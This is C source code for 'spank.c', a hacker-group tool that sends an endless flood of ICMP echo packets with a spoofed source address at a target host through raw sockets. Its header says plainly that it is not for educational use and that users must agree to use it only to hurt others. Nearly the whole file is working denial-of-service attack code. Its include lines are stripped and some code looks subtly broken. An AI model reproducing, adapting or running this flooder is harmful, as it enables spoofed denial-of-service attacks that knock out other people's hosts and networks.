/* * spank.c by fred_ | blasphemy * * @@@@@@ @@@@@@@ @@@@@@ @@@ @@@ @@@ @@@ * @@@@@@@ @@@@@@@@ @@@@@@@@ @@@@ @@@ @@@ @@@ * !@@ @@! @@@ @@! @@@ @@!@!@@@ @@! !@@ * !@! !@! @!@ !@! @!@ !@!!@!@! !@! @!! * !!@@!! @!@@!@! @!@!@!@! @!@ !!@! @!@@!@! * !!@!!! !!@!!! !!!@!!!! !@! !!! !!@!!! * !:! !!: !!: !!! !!: !!! !!: :!! * !:! :!: :!: !:! :!: !:! :!: !:! * :::: :: :: :: ::: :: :: :: ::: * :: : : : : : : :: : : ::: * * This program is not for educational use * in any shape or form. You must agree that * you will only use it to hurt others. * * Warning, this program uses alot of bandwidth. * * usage: ./spank * */ #include #include #include #include #include #include #include #include #include #include #include #include static int in_cksum(u_short *addr, int len); static void fill(int datalen, char *icmp_data); #define PHDR_LEN sizeof(struct icmphdr) + sizeof(struct iphdr) static void fill(int datalen, char *icmp_data) { static u_int32_t rnd; int i; for (i = PHDR_LEN; i < datalen; i++) { rnd = (3141592621U * rnd + 663896637U); icmp_data[i] = rnd>>24; } } int main(int argc, char *argv[]) { int count = 0, sock, x; struct sockaddr_in sin; fprintf(stdout, "spank.c coded by fred_ | blasphemy\n"); if (argc != 4) { fprintf(stderr, "ex., %s \n", argv[0]); exit(1); } if (atoi(argv[3]) < 1) { fprintf(stderr, "error: packet size is too small.\n"); exit(1); } sin.sin_family = AF_INET; sin.sin_port = htons(0); sin.sin_addr.s_addr = get_addr(argv[2]); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket()"); exit(1); } setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &x, sizeof(x)); printf("each '.' is 25 packets\n"); while (1) { send_packet(argv[1], atoi(argv[3]), sin, sock); count++; if (count == 25) { printf("."); fflush(stdout); count = 0; } usleep(10); } } int get_addr(char *host) { static struct in_addr h; struct hostent *hp; h.s_addr = inet_addr(host); if (h.s_addr == -1) { hp = gethostbyname(host); if (hp == NULL) { fprintf(stderr, "unable to resolve %s.\n", host); exit(1); } bcopy(hp->h_addr, (char *)&h.s_addr, hp->h_length); } return h.s_addr; } int send_packet(char *src, int size, struct sockaddr_in sin, int sock) { char *packet; struct icmphdr *icmp; struct iphdr *ip; packet = (char *) malloc(PHDR_LEN + size); ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); memset(packet, 0, PHDR_LEN); fill(size, packet); ip->tot_len = htons(PHDR_LEN + size); ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->version = 4; ip->tos = 0; ip->frag_off = 0; ip->saddr = get_addr(src); ip->daddr = sin.sin_addr.s_addr; ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 1; icmp->checksum = in_cksum((u_short *)icmp, sizeof(struct icmphdr)); if (sendto(sock, packet, PHDR_LEN + size, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { close(sock); perror("sendto()"); exit(1); } free(packet); } static int in_cksum(u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); }